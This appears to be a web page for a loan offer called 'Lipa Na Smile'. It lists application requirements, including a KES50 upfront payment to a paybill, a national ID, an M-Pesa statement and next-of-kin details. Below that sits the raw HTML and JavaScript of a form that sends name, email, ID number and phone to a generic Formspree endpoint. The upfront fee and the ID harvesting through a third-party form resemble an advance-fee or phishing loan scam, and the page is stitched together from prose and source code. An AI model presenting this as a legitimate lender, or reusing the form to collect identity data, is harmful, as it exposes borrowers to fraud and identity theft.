Lipa Na Smile
WHAT DO I NEED?
Information on loan application requirements:
• Original National ID (no military ID allowed)
• Be at least 18 years old
• Transunion CRB report
How to apply
• Send a sms to 21272
• Register by paying KES50, a once-off payment, to paybill 212121. Your ID number is the account number.
• You can then request your credit status and we’ll send it to you instantly.
• You can view your TransUnion credit score on the TransUnion Nipashe app.
• Active Safaricom line for at least 1 yr
• 6 months MPesa statement
• NOK {next of kin} number and relationship, (please be advised that next of kin must be directly blood related or spouse)
If student please provide:
• Student ID
• Parents ID
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Contact Form</title>
<style>
body {
font-family: Arial, sans-serif;
background: #f5f5f5;
display: block;
justify-content: center;
align-items: center;
height: 100vh;
}
.form-container {
background: white;
padding: 25px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0,0,0,0.1);
width: 320px;
}
.form-container h2 {
text-align: center;
margin-bottom: 20px;
}
input {
width: 100%;
padding: 10px;
margin-top: 10px;
border: 1px solid #ccc;
border-radius: 5px;
}
button {
width: 100%;
margin-top: 15px;
padding: 10px;
background: #e57961;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}
button:hover {
background: #ce6c57;
}
.message {
text-align: center;
margin-top: 15px;
font-size: 14px;
}
</style>
</head>
<body>
<div class="form-container">
<h2>Submit Details</h2>
<form id="contact-form" action="https://formspree.io/f/xzzvbbao" method="POST">
<input type="text" name="name" placeholder="Full Name" required />
<input type="email" name="email" placeholder="Email Address" required />
<input type="text" name="id" placeholder="ID Number" required />
<input type="tel" name="phone" placeholder="Phone Number" required />
<button type="submit">Submit</button>
<div class="message" id="message"></div>
</form>
</div>
<script>
const form = document.getElementById("contact-form");
const message = document.getElementById("message");
form.addEventListener("submit", function (e) {
e.preventDefault();
const formData = new FormData(form);
fetch(form.action, {
method: "POST",
body: formData,
headers: {
'Accept': 'application/json'
}
}).then(response => {
if (response.ok) {
message.textContent = "Form submitted successfully!";
message.style.color = "green";
form.reset();
} else {
message.textContent = "Failed to send. Try again.";
message.style.color = "red";
}
}).catch(() => {
message.textContent = "Error occurred. Try again later.";
message.style.color = "red";
});
});
</script>
</body>
</html>